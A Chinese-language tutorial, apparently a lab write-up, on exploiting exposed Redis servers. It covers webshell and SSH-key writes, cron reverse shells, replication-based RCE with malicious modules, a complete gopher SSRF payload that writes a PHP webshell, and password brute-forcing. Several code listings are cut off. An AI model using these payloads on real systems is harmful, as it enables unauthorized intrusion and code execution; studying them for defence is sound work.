Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
一、漏洞描述
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
*主要是利用Redis未授权访问,实现像目标主机写入Webshell、SSH公钥,或写入计划任务实现反弹shell。
常规redis未授权分析
作为一个数据库,redis可以使用对应的客户端程序进行连接,如果存在未授权那么此时我们就可以根据无密码进行连接。
写webshell
*相关命令执行:
1 | config get dir #查看redis数据库路径 |
这是写入webshell,但是在我看来我们更需要把东西放到web目录之下
利用前提
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)
.还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)
写ssh
利用前提
1.当redis以root身份运行。*(我个人理解是因为.ssh目录在root之中所以必须要root)
2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录,不过可能进不去root目录,权限问题可能,或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。
生成公私钥之后
1 | type key.txt | redis-cli.exe -h 192.168.43.141 -x set xxx#如果是linux 将type换成cat |
其实语句都大差不差,都是切换目录生成对应文件,之后写入对应内容。
反弹shell
1 | redis-cli.exe -h 192.168.43.141 |
反弹失误情况 | 反弹失败 |
---|
主从复制
Redis 主从复制是一种用于实现数据备份、读写分离和故障恢复的技术。在 Redis 中,可以通过配置一个或多个从服务器(Slave)来复制一个主服务器(Master)的数据。主从复制的基本工作原理如下:
复制过程:
- 主服务器持续地将写操作命令(例如 SET、DEL)发送给所有连接的从服务器。
- 从服务器接收到命令后,执行相同的命令,从而使得从服务器的数据和主服务器保持一致。
配置步骤:
- 在从服务器的配置文件中配置
slaveof
参数,指定它要复制的主服务器的地址和端口。 - 从服务器连接到主服务器后,主服务器会创建一个后台线程来将数据发送给从服务器。
- 在从服务器的配置文件中配置
用途:
- 数据备份:从服务器可以用于备份主服务器的数据,以防止主服务器故障时的数据丢失。
- 读写分离:主服务器负责处理写操作,而从服务器可以处理读操作,从而提升整体的读写性能。
- 故障恢复:如果主服务器出现故障,可以将一个从服务器提升为新的主服务器,从而保证系统的高可用性。
配置选项:
- 可以配置从服务器只接收部分数据库的数据(
replica-serve-stale-data
)。 - 可以配置从服务器成为主服务器时是否清除原有数据(
replica-read-only
)。
- 可以配置从服务器只接收部分数据库的数据(
Redis主从复制利用原理
首先,我们通过一个简单的测试,来熟悉一下slave和master的握手协议过程:
*1、监听本地1234端口
nc -lvvp 1234
*2、将Redis服务器设置为从节点(slave)
slaveof 127.0.0.1 1234
*3、使用nc模拟Redis主服务器,进行模拟Redis主从交互过程(红色部分为slave发送的命令):
以上,通过nc进行模拟Redis主从复制的交互过程,同理,如果构建模拟一个Redis服务器,利用Redis主从复制的机制,那么就可以通过FULLRESYNC将任意文件同步到从节点
利用
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
通过脚本实现一键自动化getshell:
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
1 | git clone https://github.com/Ridter/redis-rce.git |
工具地址
ssrf 攻击redis
联合ssrf 进行攻击 | Redis协议 | |
---|---|---|
https://xie.infoq.cn/article/f3dc94425d5b586d34e1beae3 | ||
ssrf 实践训练 | ssrf | |
————- | ———————————— |
首先了解一下resp协议
Redis
服务器与客户端通过RESP
(REdis Serialization Protocol)协议通信RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式
RESP 实际上是一个支持以下数据类型的序列化协议:
简单字符串
错误
整数
批量字符串
数组
RESP 在 Redis 中用作请求 - 响应协议的方式如下:
客户端将命令作为
Bulk Strings
的 RESP 数组发送到 Redis 服务器服务器根据命令实现回复一种 RESP 类型
在 RESP 中,某些数据的类型取决于第一个字节:
对于客户端请求
Simple Strings
,回复的第一个字节是+
对于客户端请求
error
,回复的第一个字节是-
对于客户端请求
Integer
,回复的第一个字节是:
对于客户端请求
Bulk Strings
,回复的第一个字节是$
对于客户端请求
array
,回复的第一个字节是*
此外,
RESP
能够使用稍后指定的Bulk Strings
或Array
的特殊变体来表示Null
值。在 RESP 中,协议的不同部分始终以
"\r\n"(CRLF)
结束。
可以看到客户端将命令发送到 Redis 服务器的流程为
客户端向 Redis 服务器发送一个仅由 Bulk Strings 组成的 RESP Arrays
Redis 服务器发送任何有效 RESP 数据类型作为回复返回给客户端
Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:
$字节数
:一个$
后跟组成字符串的字节数,由 CRLF 终止。字符串数据
CRLF
字符串f4ke
的编码如下:$4\r\nf4ke\r\n
,如下图格式
RESP Arrays 使用以下格式发送:
*元素数
:*
字符作为第一个字节,后跟数组中的元素数,后跟 CRLF数组中的每个元素都附加 RESP 类型
每一个
*number
代表每一行命令,number 代表每行命令中数组中的元素个数图中的
*3
,代表config get dbfilename
这行命令的 3 个元素$number
代表每个元素的长度$6
,代表config
长度
可以看到一个协议内容,严格根据协议的规定来写的,因此如果说我们想要利用gopher协议的话,我们就需要在gopher协议之后利用resp协议的内容。
有密码验证
1 | *2 |
即使是有密码,也只是每一个命令都加一个验证的部分罢了
exp
根据我们的协议内容,我们正常的去连接redis然后执行的一些命令,我们需要写成resp协议的方式
例如:我们写webshell的命令
1 | flushall |
我们需要转化成resp协议格式再加上gopher协议头 例如下图可以直接执行这个命令
http://xx.xx.xx.xx:8000/ssrf.php?url=gopher://127.0.0.1:6788/_*1
$8
flushall
*3
$3
set
$1
1
$33
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
5he1l.php
*1
$4
save
*1
$4
quit
工具使用
- gopher工具可以直接生成payload
- ssrf-redis 脚本(将命令生成resp协议格式配合gopher协议)
1 | # Time:2024/7/21 |
redis 有密码
msf
直接就是使用msf 的 redis_login 模块
hydra爆破
Redis 弱口令
1 | dict://serverip:port/命令:参数 |
通过两次响应结果,可以确定 Redis 的密码为 123123,可以实现脚本爆破
1 | import urllib.request |